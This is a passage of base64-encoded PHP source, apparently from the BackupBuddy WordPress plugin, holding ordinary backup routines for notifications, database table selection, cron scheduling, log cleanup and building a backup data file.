nMuCgkJZG9fYWN0aW9uKCAnYmFja3VwYnVkZHlfY29yZV9hZGRfbm90aWZpY2F0aW9uJywgJG5vdGlmaWNhdGlvbiApOwoJCSRub3RpZmljYXRpb25fYXJyYXlbXSA9ICRub3RpZmljYXRpb247CgoJCS8vIE9ubHkga2VlcCBsYXN0IFggbm90aWZpY2F0aW9ucyB0byBwcmV2ZW50IGJ1aWxkdXAuCgkJJG5vdGlmaWNhdGlvbl9hcnJheSA9IGFycmF5X3NsaWNlKCAkbm90aWZpY2F0aW9uX2FycmF5LCAoIC0xICogYmFja3VwYnVkZHlfY29uc3RhbnRzOjpOT1RJRklDQVRJT05TX01BWF9DT1VOVCApLCBiYWNrdXBidWRkeV9jb25zdGFudHM6Ok5PVElGSUNBVElPTlNfTUFYX0NPVU5ULCB0cnVlICk7CgoJCS8vIFNhdmUuCgkJc2VsZjo6cmVwbGFjZU5vdGlmaWNhdGlvbnMoICRub3RpZmljYXRpb25fYXJyYXkgKTsKCgl9IC8vIEVuZCBhZGROb3RpZmljYXRpb24oKS4KCgoJLyoqCgkgKiBHZXQgYWRkaXRpb25hbCBpbmNsdWRlcyBvciBleGNsdWRlcyBvZiBkYiB0YWJsZXMuIFBvcHVsYXRlcyB7cHJlZml4fSB2YXJpYWJsZSBhbmQgc2FuaXRpemVzLCByZW1vdmVzIGR1cGVzLCBldGMuIFJldHVybnMgYXJyYXkuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkaW5jbHVkZXNfb3JfZXhjbHVkZXMgIEVpdGhlciAiaW5jbHVkZXMiIG9yICJleGNsdWRlcyIuCgkgKiBAcGFyYW0gYXJyYXkgICRwcm9maWxlICAgICAgICAgICAgICAgUHJvZmlsZSBhcnJheS4KCSAqIEBwYXJhbSBzdHJpbmcgJG92ZXJyaWRlX3ByZWZpeCAgICAgICBPdmVycmlkZSBQcmVmaXguCgkgKgoJICogQHJldHVybiBhcnJheSAgQXJyYXkgb2YgVGFibGVzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9teXNxbGR1bXBfYWRkaXRpb25hbCggJGluY2x1ZGVzX29yX2V4Y2x1ZGVzLCAkcHJvZmlsZSwgJG92ZXJyaWRlX3ByZWZpeCA9ICcnICkgewoJCWlmICggISBpbl9hcnJheSggJGluY2x1ZGVzX29yX2V4Y2x1ZGVzLCBhcnJheSggJ2luY2x1ZGVzJywgJ2V4Y2x1ZGVzJyApLCB0cnVlICkgKSB7CgkJCSRlcnJvciA9ICdFcnJvciAjODM5MzI4OTczOiBJbnZhbGlkIGdldEluY2x1ZGVFeGNsdWRlVGFibGVzKCkgcGFyYW1ldGVyIGluIGNvcmUucGhwLic7CgkJCWVycm9yX2xvZyggJ0JhY2t1cEJ1ZGR5ICcgLiAkZXJyb3IgKTsKCQkJZWNobyAkZXJyb3I7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCWlmICggISBpc3NldCggJHByb2ZpbGVbICdteXNxbGR1bXBfYWRkaXRpb25hbF8nIC4gJGluY2x1ZGVzX29yX2V4Y2x1ZGVzIF0gKSApIHsKCQkJZXJyb3JfbG9nKCAnQmFja3VwQnVkZHkgRXJyb3IgIzQzODkzNDg5MzQ6IFByb2ZpbGUgbWlzc2luZyBleHBlY3RlZCBrZXkuIFByb2ZpbGU6IGAnIC4gcHJpbnRfciggJHByb2ZpbGUsIHRydWUgKSAuICdgLicgKTsKCQl9CgoJCSR0YWJsZXMgPSBleHBsb2RlKCAiXG4iLCAkcHJvZmlsZVsgJ215c3FsZHVtcF9hZGRpdGlvbmFsXycgLiAkaW5jbHVkZXNfb3JfZXhjbHVkZXMgXSApOwoJCSR0YWJsZXMgPSBhcnJheV9tYXAoICd0cmltJywgJHRhYmxlcyApOyAvLyBUcmltIHdoaXRlc3BhY2UgYXJvdW5kIHRhYmxlcy4KCgkJaWYgKCAnJyA9PSAkb3ZlcnJpZGVfcHJlZml4ICkgewoJCQlnbG9iYWwgJHdwZGI7CgkJCSRwcmVmaXggPSAkd3BkYi0+cHJlZml4OwoJCX0gZWxzZSB7CgkJCSRwcmVmaXggPSAkb3ZlcnJpZGVfcHJlZml4OwoJCX0KCQlmb3JlYWNoICggJHRhYmxlcyBhcyAmJHRhYmxlICkgewoJCQkkdGFibGUgPSBzdHJfcmVwbGFjZSggJ3twcmVmaXh9JywgJHByZWZpeCwgJHRhYmxlICk7IC8vIFBvcHVsYXRlIHByZWZpeCB2YXJpYWJsZS4KCQl9CgoJCSR0YWJsZXMgPSBhcnJheV91bmlxdWUoICR0YWJsZXMgKTsgLy8gUmVtb3ZlIGFueSBkdXBsaWNhdGUgdGFibGVzLgoJCXJldHVybiAkdGFibGVzOwoJfSAvLyBFbmQgZ2V0X215c3FsZHVtcF9hZGRpdGlvbmFsKCkuCgoKCS8qKgoJICogUHJvY2VzcyBCYWtjdXAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzZXJpYWwgIFBhc3NlZCB0byBzZXRfc3RhdHVzX3NlcmlhbCgpLiBEZWZhdWx0ICdibGFuaycuCgkgKgoJICogQHJldHVybiBib29sICBSZXN1bHQgb2YgcGJfYmFja3VwYnVkZHlfYmFja3VwOjpwcm9jZXNzX2JhY2t1cCgpLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHByb2Nlc3NfYmFja3VwKCAkc2VyaWFsID0gJ2JsYW5rJyApIHsKCQlwYl9iYWNrdXBidWRkeTo6c2V0X3N0YXR1c19zZXJpYWwoICRzZXJpYWwgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICctLS0gTmV3IFBIUCBwcm9jZXNzLicgKTsKCQlwYl9iYWNrdXBidWRkeTo6c2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnUnVubmluZyBwcm9jZXNzIGZvciBzZXJpYWwgYCcgLiAkc2VyaWFsIC4gJ2AuLi4nICk7CgoJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9iYWNrdXAucGhwJzsKCQkkbmV3X2JhY2t1cCA9IG5ldyBwYl9iYWNrdXBidWRkeV9iYWNrdXAoKTsKCQlyZXR1cm4gJG5ld19iYWNrdXAtPnByb2Nlc3NfYmFja3VwKCAkc2VyaWFsICk7Cgl9CgoKCS8qKgoJICogVmVyaWZ5IEhvdXNla2VlcGluZwoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZlcmlmeUhvdXNla2VlcGluZygpIHsKCQlpZiAoIGlzX211bHRpc2l0ZSgpICkgeyAvLyBGb3IgTXVsdGlzaXRlIG9ubHkgcnVuIG9uIG1haW4gTmV0d29yayBzaXRlLgoJCQlpZiAoICEgaXNfbWFpbl9zaXRlKCkgKSB7CgkJCQlyZXR1cm47CgkJCX0KCQl9CgoJCWlmICggZmFsc2UgPT09IHdwX25leHRfc2NoZWR1bGVkKCAnYmFja3VwYnVkZHlfY3JvbicsIGFycmF5KCAnaG91c2VrZWVwaW5nJywgYXJyYXkoKSApICkgKSB7IC8vIGlmIHNjaGVkdWxlIGRvZXMgbm90IGV4aXN0Li4uCgkJCWJhY2t1cGJ1ZGR5X2NvcmU6OnNjaGVkdWxlX2V2ZW50KCB0aW1lKCkgKyAoIDYwICogNjAgKiAyICksICdkYWlseScsICdob3VzZWtlZXBpbmcnLCBhcnJheSgpICk7IC8vIEFkZCBzY2hlZHVsZS4KCQl9Cgl9IC8vIEVuZCB2ZXJpZnlIb3VzZWtlZXBpbmcoKS4KCgoJLyoqCgkgKiBWZXJpZnkgTGl2ZSBDcm9uCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gdmVyaWZ5TGl2ZUNyb24oKSB7CgkJcmVxdWlyZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9kZXN0aW5hdGlvbnMvbGl2ZS9saXZlLnBocCc7CgkJaWYgKCBmYWxzZSA9PT0gYmFja3VwYnVkZHlfbGl2ZTo6Z2V0TGl2ZUlEKCkgKSB7IC8vIElmIG5vIExpdmUgZGVzdGluYXRpb24gc2V0IHVwIHRoZW4gcmV0dXJuLgoJCQlyZXR1cm47CgkJfQoJCWlmICggZmFsc2UgPT09IHdwX25leHRfc2NoZWR1bGVkKCAnYmFja3VwYnVkZHlfY3JvbicsIGFycmF5KCAnbGl2ZScsIGFycmF5KCkgKSApICkgeyAvLyBpZiBzY2hlZHVsZSBkb2VzIG5vdCBleGlzdC4uLgoJCQliYWNrdXBidWRkeV9jb3JlOjpzY2hlZHVsZV9ldmVudCggdGltZSgpICsgKCA2MCAqIDYwICksICdob3VybHknLCAnbGl2ZScsIGFycmF5KCkgKTsgLy8gQWRkIHNjaGVkdWxlLgoJCX0KCX0gLy8gRW5kIHZlcmlmeUxpdmVDcm9uKCkuCgoJLyoqCgkgKiBDbGVhciBMaXZlIExvZ3MKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzZXJpYWwgIFNlcmlhbCBvZiBiYWNrdXAuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gY2xlYXJMaXZlTG9ncyggJHNlcmlhbCApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZWxldGluZyBsaXZlIGxvZ3MgYW5kIGNhdGFsb2cnICk7CgoJCSRsb2dfZmlsZXMgPSBhcnJheV9tZXJnZSgKCQkJKGFycmF5KSBnbG9iKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdmaWxlb3B0aW9ucy9zZW5kLWxpdmVfKi50eHQnICksCgkJCShhcnJheSkgZ2xvYiggYmFja3VwYnVkZHlfY29yZTo6Z2V0VGVtcERpcmVjdG9yeSgpIC4gJHNlcmlhbCApLAoJCQlhcnJheSggYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnbGl2ZScgKSwKCQkJKGFycmF5KSBnbG9iKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICcqJyAuICRzZXJpYWwgLiAnKicgKQoJCSk7CgoJCWZvcmVhY2ggKCAkbG9nX2ZpbGVzIGFzICRsb2dfZmlsZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT51bmxpbmtfcmVjdXJzaXZlKCAkbG9nX2ZpbGUgKTsKCQl9CgoJfSAvLyBFbmQgY2xlYXJMaXZlTG9ncygpCgoKCS8qKgoJICogVGFrZXMgYSBiYXNlIGxldmVsIHRvIGNhbGN1bGF0ZSB0YWJsZXMgZnJvbS4gIFRoZW4gYWRkcyBhZGRpdGlvbmFsIHRhYmxlcy4gIFRoZW4gcmVtb3ZlcyBhbnkgZXhjbHVzaW9ucy4gUmV0dXJucyBhcnJheSBvZiBmaW5hbCB0YWJsZSBsaXN0aW5nIHRvIGJhY2t1cC4KCSAqCgkgKiBAc2VlIGR1bXAoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGJhc2VfZHVtcF9tb2RlICAgICAgIERldGVybWluZXMgd2hpY2ggZGF0YWJhc2UgdGFibGVzIHRvIGR1bXAgYnkgZGVmYXVsdC4gVmFsaWQgdmFsdWVzOiAgYWxsLCBub25lLCBwcmVmaXgKCSAqIEBwYXJhbSBhcnJheSAgJGFkZGl0aW9uYWxfaW5jbHVkZXMgIEFycmF5IG9mIGFkZGl0aW9uYWwgdGFibGUocykgdG8gSU5DTFVERSBpbiBkdW1wLiBBZGRlZCBpbiBhZGRpdGlvbiB0byB0aG9zZSBmb3VuZCBieSB0aGUgJGJhc2VfZHVtcF9tb2RlCgkgKiBAcGFyYW0gYXJyYXkgICRhZGRpdGlvbmFsX2V4Y2x1ZGVzICBBcnJheSBvZiBhZGRpdGlvbmFsIHRhYmxlKHMpIHRvIEVYQ0xVREUgZnJvbSBkdW1wLiBSZW1vdmVkIGZyb20gdGhvc2UgZm91bmQgYnkgdGhlICRiYXNlX2R1bXBfbW9kZSArICRhZGRpdGlvbmFsX2luY2x1ZGVzLgoJICoKCSAqIEByZXR1cm4gYXJyYXkgIEFycmF5IG9mIHRhYmxlcyB0byBiYWNrdXAuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gY2FsY3VsYXRlX3RhYmxlcyggJGJhc2VfZHVtcF9tb2RlLCAkYWRkaXRpb25hbF9pbmNsdWRlcyA9IGFycmF5KCksICRhZGRpdGlvbmFsX2V4Y2x1ZGVzID0gYXJyYXkoKSApIHsKCgkJZ2xvYmFsICR3cGRiOwoJCSR3cGRiLT5zaG93X2Vycm9ycygpOyAvLyBUdXJuIG9uIGVycm9yIGRpc3BsYXkuCgoJCSR0YWJsZXMgPSBhcnJheSgpOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NhbGN1bGF0aW5nIG15c3FsIGRhdGFiYXNlIHRhYmxlcyB0byBiYWNrdXAuJyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Jhc2UgZGF0YWJhc2UgZHVtcCBtb2RlIChiZWZvcmUgaW5jbHVzaW9ucy9leGNsdXNpb25zKTogYCcgLiAkYmFzZV9kdW1wX21vZGUgLiAnYC4nICk7CgoJCS8vIENhbGN1bGF0ZSBiYXNlIHRhYmxlcy4KCQlpZiAoICdhbGwnID09PSAkYmFzZV9kdW1wX21vZGUgKSB7IC8vIEFsbCB0YWJsZXMgaW4gZGF0YWJhc2UgdG8gc3RhcnQgd2l0aC4KCQkJJHNxbCA9ICdTRUxFQ1QgdGFibGVfbmFtZSBBUyBgdGFibGVfbmFtZWAgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9IERBVEFCQVNFKCknOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnc3RhcnRBY3Rpb24nLCAnc2NoZW1hVGFibGVzJyApOwoJCQkkcmVzdWx0cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggJHNxbCwgQVJSQVlfQSApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZmluaXNoQWN0aW9uJywgJ3NjaGVtYVRhYmxlcycgKTsKCQkJaWYgKCAoIG51bGwgPT09ICRyZXN1bHRzICkgfHwgKCBmYWxzZSA9PT0gJHJlc3VsdHMgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjODQ5Mzg5NGE6IFVuYWJsZSB0byBjYWxjdWxhdGUgZGF0YWJhc2UgdGFibGVzIHdpdGggcXVlcnk6IGAnIC4gJHNxbCAuICdgLiBDaGVjayBkYXRhYmFzZSBwZXJtaXNzaW9ucyBvciBjb250YWN0IGhvc3QuJyApOwoJCQl9CgkJCWZvcmVhY2ggKCAoYXJyYXkpICRyZXN1bHRzIGFzICRyZXN1bHQgKSB7CgkJCQlhcnJheV9wdXNoKCAkdGFibGVzLCAkcmVzdWx0Wyd0YWJsZV9uYW1lJ10gKTsKCQkJfQoJCQl1bnNldCggJHJlc3VsdHMgKTsKCgkJfSBlbHNlaWYgKCAncHJlZml4JyA9PT0gJGJhc2VfZHVtcF9tb2RlICkgeyAvLyBUYWJsZXMgbWF0Y2hpbmcgcHJlZml4LgoKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGV0ZXJtaW5pbmcgZGF0YWJhc2UgdGFibGVzIHdpdGggcHJlZml4IGAnIC4gJHdwZGItPnByZWZpeCAuICdgLicgKTsKCQkJJHByZWZpeF9zcWwgPSBzdHJfcmVwbGFjZSggJ18nLCAnXF8nLCAkd3BkYi0+cHJlZml4ICk7CgkJCSRzcWwgICAgICAgID0gIlNFTEVDVCB0YWJsZV9uYW1lIEFTIGB0YWJsZV9uYW1lYCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfbmFtZSBMSUtFICd7JHByZWZpeF9zcWx9JScgQU5EIHRhYmxlX3NjaGVtYSA9IERBVEFCQVNFKCkiOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnc3RhcnRBY3Rpb24nLCAnc2NoZW1hVGFibGVzJyApOwoJCQkkcmVzdWx0cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggJHNxbCwgQVJSQVlfQSApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZmluaXNoQWN0aW9uJywgJ3NjaGVtYVRhYmxlcycgKTsKCQkJaWYgKCAoIG51bGwgPT09ICRyZXN1bHRzICkgfHwgKCBmYWxzZSA9PT0gJHJlc3VsdHMgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjODQ5Mzg5NGI6IFVuYWJsZSB0byBjYWxjdWxhdGUgZGF0YWJhc2UgdGFibGVzIHdpdGggcXVlcnk6IGAnIC4gJHNxbCAuICdgLiBDaGVjayBkYXRhYmFzZSBwZXJtaXNzaW9ucyBvciBjb250YWN0IGhvc3QuJyApOwoJCQl9CgkJCWZvcmVhY2ggKCAoYXJyYXkpICRyZXN1bHRzIGFzICRyZXN1bHQgKSB7CgkJCQlhcnJheV9wdXNoKCAkdGFibGVzLCAkcmVzdWx0Wyd0YWJsZV9uYW1lJ10gKTsKCQkJfQoJCQl1bnNldCggJHJlc3VsdHMgKTsKCgkJfSBlbHNlaWYgKCAnbm9uZScgIT09ICRiYXNlX2R1bXBfbW9kZSApIHsgLy8gdW5rbm93biBkdW1wIG1vZGUuCgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzQ1NDU0NTogVW5rbm93biBkYXRhYmFzZSBkdW1wIG1vZGUuJyApOyAvLyBTaG91bGQgbmV2ZXIgc2VlIHRoaXMuCgoJCX0KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdCYXNlIGRhdGFiYXNlIHRhYmxlcyBiYXNlZCBvbiBzZXR0aW5ncyAoJyAuIGNvdW50KCAkdGFibGVzICkgLiAnIHRhYmxlcyk6IGAnIC4gaW1wbG9kZSggJywnLCAkdGFibGVzICkgLiAnYCcgKTsKCgkJLy8gQWRkIGFkZGl0aW9uYWwgdGFibGVzLgoJCSR0YWJsZXMgPSBhcnJheV9tZXJnZSggJHRhYmxlcywgJGFkZGl0aW9uYWxfaW5jbHVkZXMgKTsKCQkkdGFibGVzID0gYXJyYXlfZmlsdGVyKCAkdGFibGVzICk7IC8vIFRyaW0gYW55IHBoYW50b20gdGFibGVzIHRoYXQgdGhlIGFib3ZlIGxpbmUgbWF5IGhhdmUgaW50cm9kdWNlZC4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSB0YWJsZXMgYWZ0ZXIgYWRkaXRpb24gKCcgLiBjb3VudCggJHRhYmxlcyApIC4gJyB0YWJsZXMpOiBgJyAuIGltcGxvZGUoICcsJywgJHRhYmxlcyApIC4gJ2AnICk7CgoJCS8vIFJlbW92ZSBleGNsdWRlZCB0YWJsZXMuCgkJJHRhYmxlcyA9IGFycmF5X2RpZmYoICR0YWJsZXMsICRhZGRpdGlvbmFsX2V4Y2x1ZGVzICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgdGFibGVzIGFmdGVyIGV4Y2x1c2lvbiAoJyAuIGNvdW50KCAkdGFibGVzICkgLiAnIHRhYmxlcyk6IGAnIC4gaW1wbG9kZSggJywnLCAkdGFibGVzICkgLiAnYCcgKTsKCgkJLy8gUmVtb3ZlIGFueSBkdXBsaWNhdGUgdGFibGVzLgoJCSR0YWJsZXMgPSBhcnJheV91bmlxdWUoICR0YWJsZXMgKTsKCgkJcmV0dXJuIGFycmF5X3ZhbHVlcyggJHRhYmxlcyApOyAvLyBDbGVhbiB1cCBpbmRleGluZyAmIHJldHVybi4KCgl9IC8vIEVuZCBjYWxjdWxhdGVfdGFibGVzKCkuCgoKCS8qKgoJICogUmV0dXJucyBhcnJheSBvZiBkYXQgY29udGVudHMgb24gc3VjY2VzcywgZWxzZSBzdHJpbmcgZXJyb3IgbWVzc2FnZS4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgICRzZXR0aW5ncyAgU2V0dGluZ3MgYXJyYXkuCgkgKiBAcGFyYW0gc3RyaW5nICRkYXRfZmlsZSAgUGF0aCB0byBkYXQgZmlsZS4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBBcnJheSBvZiBkYXQgY29udGVudHMsIG90aGVyd2lzZSBlcnJvciBtZXNzYWdlIG9uIGZhaWwuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVuZGVyX2RhdF9jb250ZW50cyggJHNldHRpbmdzLCAkZGF0X2ZpbGUgKSB7CgoJCSRzZXR0aW5ncyA9IGFycmF5X21lcmdlKAoJCQlhcnJheSgKCQkJCSdzdGFydF90aW1lJyAgICAgICAgICAgPT4gMCwKCQkJCSdiYWNrdXBfdHlwZScgICAgICAgICAgPT4gJycsCgkJCQkncHJvZmlsZScgICAgICAgICAgICAgID0+IGFycmF5KCksCgkJCQknc2VyaWFsJyAgICAgICAgICAgICAgID0+ICcnLAoJCQkJJ2JyZWFrb3V0X3RhYmxlcycgICAgICA9PiBhcnJheSgpLAoJCQkJJ3RhYmxlX3NpemVzJyAgICAgICAgICA9PiBhcnJheSgpLAoJCQkJJ2ZvcmNlX3NpbmdsZV9kYl9maWxlJyA9PiBmYWxzZSwKCQkJCSdkZXBsb3ltZW50X2RpcmVjdGlvbicgPT4gJycsCgkJCQkndHJpZ2dlcicgICAgICAgICAgICAgID0+ICcnLAoJCQkJJ3NraXBfZGF0YWJhc2VfZHVtcCcgICA9PiBmYWxzZSwKCQkJCSdkYl9leGNsdWRlcycgICAgICAgICAgPT4gYXJyYXkoKSwKCQkJCSdkYl9pbmNsdWRlcycgICAgICAgICAgPT4gYXJyYXkoKSwKCQkJKSwgJHNldHRpbmdzCgkJKTsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0NyZWF0aW5nIERBVCAoZGF0YSkgZmlsZSBzbmFwc2hvdHRpbmcgc2l0ZSAmIGJhY2t1cCBpbmZvcm1hdGlvbi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQlnbG9iYWwgJHdwZGIsICRjdXJyZW50X2Jsb2c7CgoJCSRpc19tdWx0aXNpdGVfZXhwb3J0ID0gZmFsc2U7IC8vICRmcm9tX211bHRpc2l0ZSBpcyBmcm9tIGEgc2l0ZSB3aXRoaW4gYSBuZXR3b3JrLgoJCSRpc19tdWx0aXNpdGUgICAgICAgID0gJGlzX211bHRpc2l0ZV9leHBvcnQ7CgkJJHVwbG9hZF91cmwgICAgICAgICAgPSAnJzsKCQkkdXBsb2FkX3VybF9yZXdyaXRlICA9ICR1cGxvYWRfdXJsOwoJCWlmICggKCBpc19tdWx0aXNpdGUoKSAmJiAnc2NoZWR1bGVkJyA9PT0gJHNldHRpbmdzWyd0cmlnZ2VyJ10gKSB8fCAoIGlzX211bHRpc2l0ZSgpICYmIGlzX25ldHdvcmtfYWRtaW4oKSApICkgeyAvLyBNUyBOZXR3b3JrIEV4cG9ydCBJRiAoIGluIGEgbmV0d29yayBhbmQgdHJpZ2dlcmVkIGJ5IGEgc2NoZWR1bGUgKSBPUiAoIGluIGEgbmV0d29yayBhbmQgbG9nZ2VkIGluIGFzIG5ldHdvcmsgYWRtaW4pLgoJCQkkaXNfbXVsdGlzaXRlID0gdHJ1ZTsKCQl9IGVsc2VpZiAoIGlzX211bHRpc2l0ZSgpICkgeyAvLyBNUyBFeHBvcnQgKGluZGl2aWR1YWwgc2l0ZSkuCgkJCSRpc19tdWx0aXNpdGVfZXhwb3J0ID0gdHJ1ZTsKCQkJJHVwbG9hZHMgICAgICAgICAgICAgPSB3cF91cGxvYWRfZGlyKCk7CgkJCSR1cGxvYWRfdXJsX3Jld3JpdGUgID0gc2l0ZV91cmwoIHN0cl9yZXBsYWNlKCBBQlNQQVRILCAnJywgJHVwbG9hZHNbJ2Jhc2VkaXInXSApICk7IC8vIFVSTCB3ZSByZXdyaXRlIHVwbG9hZHMgdG8uIFJFQUwgZGlyZWN0IHVybC4KCQkJJHVwbG9hZF91cmwgICAgICAgICAgPSAkdXBsb2Fkc1snYmFzZXVybCddOyAvLyBQcmV0dHkgdmlydHVhbCBwYXRoIHRvIHVwbG9hZHMgZGlyZWN0b3J5LgoJCX0KCgkJLy8gSGFuZGxlIHdwLWNvbmZpZy5waHAgZmlsZSBpbiBhIHBhcmVudCBkaXJlY3RvcnkuCgkJaWYgKCAnZnVsbCcgPT09ICRzZXR0aW5nc1snYmFja3VwX3R5cGUnXSApIHsKCQkJJHdwX2NvbmZpZ19wYXJlbnQgPSBmYWxzZTsKCQkJaWYgKCBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyApICkgeyAvLyB3cC1jb25maWcgaW4gbm9ybWFsIHBsYWNlLgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnd3AtY29uZmlnLnBocCBmb3VuZCBpbiBub3JtYWwgbG9jYXRpb24uJyApOwoJCQl9IGVsc2UgeyAvLyB3cC1jb25maWcgbm90IGluIG5vcm1hbCBwbGFjZS4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ3dwLWNvbmZpZy5waHAgbm90IGZvdW5kIGluIG5vcm1hbCBsb2NhdGlvbjsgY2hlY2tpbmcgcGFyZW50IGRpcmVjdG9yeS4nICk7CgkJCQlpZiAoIEBmaWxlX2V4aXN0cyggZGlybmFtZSggQUJTUEFUSCApIC4gJy93cC1jb25maWcucGhwJyApICYmICEgQGZpbGVfZXhpc3RzKCBkaXJuYW1lKCBBQlNQQVRIICkgLiAnL3dwLXNldHRpbmdzLnBocCcgKSApIHsgLy8gQ29uZmlnIGluIHBhcmVudC4gRXJyb3JzIHN1cHByZXNzZWQgZHVlIHRvIHBvc3NpYmxlIG9wZW5fYmFzZWRpciByZXN0cmljdGlvbnMuCgkJCQkJJHdwX2NvbmZpZ19wYXJlbnQgPSB0cnVlOwoJCQkJfSBlbHNlIHsgLy8gRm91bmQgbm8gd3AtY29uZmlnLnBocCBhbnl3aGVyZS4KCQkJCQlpZiAoICEgQGZpbGVfZXhpc3RzKCBkaXJuYW1lKCBBQlNQQVRIICkgLiAnL3dwLXNldHRpbmdzLnBocCcgKSApIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM4MzkzNDg6IHdwLWNvbmZpZy5waHAgbm90IGZvdW5kIGluIG5vcm1hbCBsb2NhdGlvbiAoYCcgLiBBQlNQQVRIIC4gJ2ApIG5vciBwYXJlbnQgZGlyZWN0b3J5IChgJyAuIGRpcm5hbWUoIEFCU1BBVEggKSAuICdgKS4gQ2hlY2sgdGhhdCBmaWxlIGV4aXN0cyBhbmQgaGFzIHByb3BlciByZWFkIHBlcm1pc3Npb25zLiBDaGVjayBsb2cgYWJvdmUgZm9yIG1vcmUgZXJyb3JzLicgKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzgzOTM0OGI6IHdwLWNvbmZpZy5waHAgbm90IGZvdW5kIGluIG5vcm1hbCBsb2NhdGlvbiAoYCcgLiBBQlNQQVRIIC4gJ2ApIG5vciBwYXJlbnQgZGlyZWN0b3J5IChgJyAuIGRpcm5hbWUoIEFCU1BBVEggKSAuICdgKSB3aXRob3V0IHdwLXNldHRpbmdzLnBocC4gQ2hlY2sgdGhhdCBmaWxlIGV4aXN0cyBhbmQgaGFzIHByb3BlciByZWFkIHBlcm1pc3Npb25zLiBDaGVjayBsb2cgYWJvdmUgZm9yIG1vcmUgZXJyb3JzLicgKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQkkd3BfY29uZmlnX3BhcmVudCA9IGZhbHNlOwoJCX0KCgkJZ2xvYmFsICR3cF92ZXJzaW9uOwoKCQkvLyBQb3N0cy4KCQkkdG90YWxfcG9zdHMgPSAwOwoJCWZvcmVhY2ggKCB3cF9jb3VudF9wb3N0cyggJ3Bvc3QnICkgYXMgJGNvdW50dHlwZSA9PiAkY291bnQgKSB7CgkJCSR0b3RhbF9wb3N0cyArPSAkY291bnQ7CgkJfQoKCQkvLyBQYWdlcy4KCQkkdG90YWxfcGFnZXMgPSAwOwoJCWZvcmVhY2ggKCB3cF9jb3VudF9wb3N0cyggJ3BhZ2UnICkgYXMgJGNvdW50dHlwZSA9PiAkY291bnQgKSB7CgkJCSR0b3RhbF9wYWdlcyArPSAkY291bnQ7CgkJfQoKCQkvLyBDb21tZW50cy4KCQkkdG90YWxfY29tbWVudHMgPSB3cF9jb3VudF9jb21tZW50cygpOwoJCSR0b3RhbF9jb21tZW50cyA9IGVtcHR5KCAkdG90YWxfY29tbWVudHMtPmFsbCApID8gMCA6IChpbnQpICR0b3RhbF9jb21tZW50cy0+YWxsOwoKC